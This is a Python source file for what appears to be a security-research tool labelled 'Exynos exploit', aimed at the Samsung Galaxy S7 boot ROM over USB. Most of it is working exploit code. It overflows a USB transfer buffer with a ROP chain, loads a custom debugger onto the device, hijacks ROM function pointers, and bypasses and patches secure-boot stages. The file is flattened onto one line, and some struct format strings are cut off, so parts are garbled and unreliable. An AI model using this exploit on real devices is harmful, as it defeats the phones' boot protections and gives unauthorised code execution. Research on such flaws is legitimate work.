import struct, sys, usb1, libusb1, ctypes, usb, argparse from keystone import * from capstone import * from ghidra_assistant.utils.utils import * from ghidra_assistant.concrete_device import * from ghidra_assistant.utils.debugger.debugger_archs.ga_arm64 import GA_arm64_debugger from qiling.const import QL_ARCH import os, tqdm, datetime def p32(x): return struct.pack("= xfer_buffer_start and current_offset < xfer_buffer_start: break self.send_empty_transfer() current_offset += CHUNK_SIZE cnt += 1 if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: self.send_empty_transfer() # Send last transfer, TODO who aligns this ROM?? current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0) assert res == 0, "Error sending ROP chain" return def usb_write(self, data): assert len(data) <= 0x200, "Data too big" transferred = ctypes.c_int() res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, data, len(data), ctypes.byref(transferred), 300) assert res == 0, f"Error sending data {res}" assert transferred.value == len(data), f"Invalid transfered size {transferred.value} != {len(data)}" return transferred.value def usb_read(self, size): transferred = ctypes.c_int() buf = ctypes.c_buffer(b"", size) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_IN, buf, len(buf), ctypes.byref(transferred), 300) assert res == 0, f"Error receiving data {res}" return buf.raw[:transferred.value] def setup_concrete_device(self, concrete_device : ConcreteDevice): #Setup architecture concrete_device.arch = QL_ARCH.ARM64 concrete_device.ga_debugger_location = 0x2069000 # TODO, not used yet concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_stack_location = 0x206b000 concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.write = self.usb_write #Overwrite all calls to make the concrete target function properly concrete_device.copy_functions() def usb_debug(self): """ Function to debug USB behaviour. Sends and receives data in continuous flow. """ transferred = ctypes.c_int() # Send some data count = 0 def _send_data(): transferred.value = 0 p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, f"Error sending data ({res})" def _recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, f"Error receiving data ({res})" hexdump(buf.raw) # Should have received some bytes while True: _send_data() _recv_data() count += 1 def dump_memory(self, start: hex=0x0, end: hex=0x02070000, write=False): """ Dumps memory from the device. Transfer XFER_BUFFER at 0x02021800, to: 0x02020F08. End of memory at 0x0206ffff. """ dumped = b"" # Read data from memory try: for block in tqdm.tqdm(range(start, end, 0x6000)): dump = self.cd.memdump_region(block, 0x6000) dumped += dump except: print("Error reading memory, at block: ", hex(block)) return dumped def check_mem_write_execute(self, region): """ NOT WORKING YET Write opcode to memory which jumps back immediatelly to the LR register at that moment. """ # LR to jump back to: lr = self.cd.arch_dbg.state.LR # Write opcode shellcode = f""" ldr x0, target_addr blr x0 target_addr: .quad {hex(lr)} """ shellcode = ks.asm(shellcode, as_bytes=True)[0] self.cd.memwrite_region(region, shellcode) self.cd.jump_to(region) def setup_guppy_debugger(self): """ Sets up guppy debugger on the device itself. """ def _setup_debugger(): ''' Setup the debugger as a concrete device ''' self.cd = ConcreteDevice(None, False) self.cd.dev = self.setup_concrete_device(self.cd) self.cd.test_connection() def _initial_run_debugger(): """Write debugger to device and test basic functionality""" ### Setup debugger if os.getenv("USER") == "eljakim": debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() else: try: debugger = open("../../dump/debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) debugger += ((0x2000 - len(debugger)) * b"\x00") assert len(debugger) == 0x2000, "Invalid debugger size, stage1 requires 0x2000 size" for block in range(0, len(debugger), 0x200): self.usb_write(debugger[block:block+0x200]) # time.sleep(.5) # Wait a little bit assert self.usb_read(0x200) == b"GiAs", "No response from debugger" # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" _initial_run_debugger() _setup_debugger() def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000): """ Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses! Args: - debugger: The debugger to relocate. If None, it will use the default debugger. - entry: The entry point of the debugger. - storage: The storage location of the debugger. - g_data_received: The location of the data received. """ if debugger is None: if os.getenv("USER") == "eljakim": debugger_reloc = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/reloc_debugger.bin", "rb").read() else: try: debugger_reloc = open("../../dump/reloc_debugger.bin", "rb").read() except Exception as e: print(f'Are you missing your debugger? Please ensure it is present in dump/debugger.bin. {e}') sys.exit(0) else: debugger_reloc = debugger self.cd.memwrite_region(entry, debugger_reloc) # self.usb_write(b"FLSH") # Flush cache self.cd.restore_stack_and_jump(entry) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000 def dumb_interact(self, dump_imems=False): ''' Room for playing around with the debugger on the phone. ''' self.cd.arch_dbg.state.auto_sync = False self.cd.arch_dbg.state.auto_sync_special = False logger.debug('State after setting up initial debugger') self.cd.arch_dbg.state.print_ctx() def first_debugger(): debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() self.cd.memwrite_region(0x2069000, debugger) self.cd.restore_stack_and_jump(0x2069000) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(0x206d000 + 0x1000, 0x2069000, 0x206d000) # self.relocate_debugger() DEBUGGER_ADDR = 0x2069000 #0x020c0000 ### Get whereabouts of the debugger and current processor state logger.debug('State after relocating debugger') self.cd.arch_dbg.state.print_ctx() def memdump_imem(): """ Dumps the internal memory of the device (0x2020000 - 0x2070000). """ dumped = b"" for block in range(0x2020000, 0x2070000, 0x200): # print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) return dumped AUTH_BL1 = 0x00012848 # Location of the authentication function def auth_bl1(lr=0x2069000): # Load the firmware self.cd.arch_dbg.state.X0 = 1 self.cd.arch_dbg.state.X1 = 1 self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" BOOT_BL1 = 0x00019310 # Location of the boot function def boot_bl1(lr=0x2069000): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(BOOT_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(JUMP_BL1) # Always hijack rom_usb_download function: rom_usb_download = self.cd.memdump_region(0x020200dc, 4) self.cd.memwrite_region(0x020200dc, p32(0x2069000)) # Try loading bl1 bl1 = open("../S7/bl1.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl1) self.usb_write(b"FLSH") # Flush cache, as Frederic does self.cd.test_connection() auth_bl1(DEBUGGER_ADDR) # boot_bl1(DEBUGGER_ADDR) self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) jump_bl1(DEBUGGER_ADDR) # Returns on usb_download function assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" self.cd.arch_dbg.state.print_ctx() dl_ready, next_stage = struct.unpack(" dying debugger) debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read() self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000) DEBUGGER_ADDR = 0x02048000 # # # Relocate to other debugger to 020c0000 # debugger = open("../../dump/reloc_debugger.bin", "rb").read() # self.relocate_debugger(debugger) # DEBUGGER_ADDR = 0x020c0000 # Test debugger connection self.cd.test_connection() # ==== BL1 ==== ### Overwrite boot_usb_ra to our debugger hijacked_usb_ra = self.cd.memdump_region(0x02020f60, 8) self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR)) ### Set link register and boot into the USB function BOOT_USB_FUNCTION = 0x000064e0 self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.restore_stack_and_jump(BOOT_USB_FUNCTION) # Wait for device return (happens after each download) time.sleep(1) self.connect_device() # Setup jump and bl_auth AUTH_BL1 = 0x00012848 # Location of the authentication function def auth_bl1(lr=0x2069000): # Load the firmware self.cd.arch_dbg.state.X0 = 1 self.cd.arch_dbg.state.X1 = 1 self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" ### Check if authentication was successful - X0 should not be 0?? # assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" # Jump into BL1 (sboot.bin.1.bin) JUMP_BL1 = 0x000002c0 def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(JUMP_BL1) # Send boot stage 1 self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read()) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" # BL1 is loaded, now authenticate and patch it auth_bl1(DEBUGGER_ADDR) self.usb_write(b"FLSH") # Flush cache (Frederic does this..) # Hijack ROM download function hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4)) self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31 self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br")) # And jump into BL1 to execute it jump_bl1(DEBUGGER_ADDR) # ==== BL31 ==== # Assure that the debugger is still alive assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" # Functions to check ttbr0 (should be trash until after executing BL31) # self.get_ttbr0_el3() # Should be trash, as the # self.check_mem_write_execute(0x020c0000) # Get current LR, and store it. Then set LR to debugger. lr = self.cd.arch_dbg.state.LR self.cd.arch_dbg.state.LR = DEBUGGER_ADDR self.cd.restore_stack_and_jump(hijacked_fun) # will jump back to debugger after downloading the next stage (before executing it) # After downloading the next stage, make sure the device reconnects time.sleep(2) self.connect_device() self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read()) time.sleep(2) # Assure that the debugger is returning (obligatory assuration) self.usb_read(0x200) # GiAs # lr = self.cd.arch_dbg.state.LR # self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) # to resotre oginal boot flow, without getting back to the debugger # Set LR to continue boot flow self.cd.restore_stack_and_jump(lr) # Assure return to debugger time.sleep(2) self.usb_read(0x200) # GiAs self.cd.memwrite_region(0x02031008, b"ELH") # Relocate to other debugger (For after BL31, but we need a good space!) # debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read() # self.relocate_debugger(debugger=debugger, entry=0x14AC0000, storage=0x14AC3000, g_data_received=0x14AC4000) # DEBUGGER_ADDR = 0x14AC0000 self.cd.arch_dbg.state.LR = DEBUGGER_ADDR # self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR)) # self.cd.restore_stack_and_jump(hijacked_fun) # Inspect TTBR0_EL3 table TTBR0_EL3 = 0x02035600 # Zeroed out # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?) # self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false # Write jump backs from BL31 at different levels # self.cd.memwrite_region(0x02030a28, p64(DEBUGGER_ADDR)) # Overwrite jump back at 0202f810 # self.cd.memwrite_region(0x0202f818, struct.pack('>I', 0xfa610091)) # Jump into BL31 and execute it self.cd.restore_stack_and_jump(0x02024010) # Obligatory reconnect and check of debugger time.sleep(2) self.connect_device() self.usb_read(0x200) # GiAs # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (??). Only with relocated debugger. VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3 # Print status of MMU print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') BL31_ra = self.cd.arch_dbg.state.LR # Again restore bootflow self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) self.cd.restore_stack_and_jump(hijacked_fun) time.sleep(2) # ==== Stage 3 BL2 ==== self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read()) time.sleep(2) self.connect_device() # ==== Stage 4 ==== stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read() # Patching # stage4_len = len(stage4) # patch_len = len(b"USB RECOVERY MODE") # patch = b"ELHER HERE" + (b"\x00" * (patch_len - len(b"ELHER HERE"))) # patch_offset = stage4.find(b"USB RECOVERY MODE") # stage4 = stage4[:patch_offset] + patch + stage4[patch_len + patch_offset:] # assert len(stage4) == stage4_len, "Invalid stage4 length" self.send_normal_stage(stage4) time.sleep(2) pass if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False) arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False) args = arg.parse_args() exynos = ExynosDevice() if args.debug: shellcode = open("../dwc3_test/dwc3.bin", "rb").read() exynos.exploit(shellcode) exynos.dump_memory(write=True) # exynos.usb_debug() sys.exit(0) if args.unsecure_boot: exynos.unsecure_boot() sys.exit(0) stage1 = open("stage1/stage1.bin", "rb").read() exynos.exploit(stage1) if args.debugger_boot: exynos.debugger_boot() sys.exit(0) exynos.setup_guppy_debugger() exynos.dumb_interact() sys.exit(0)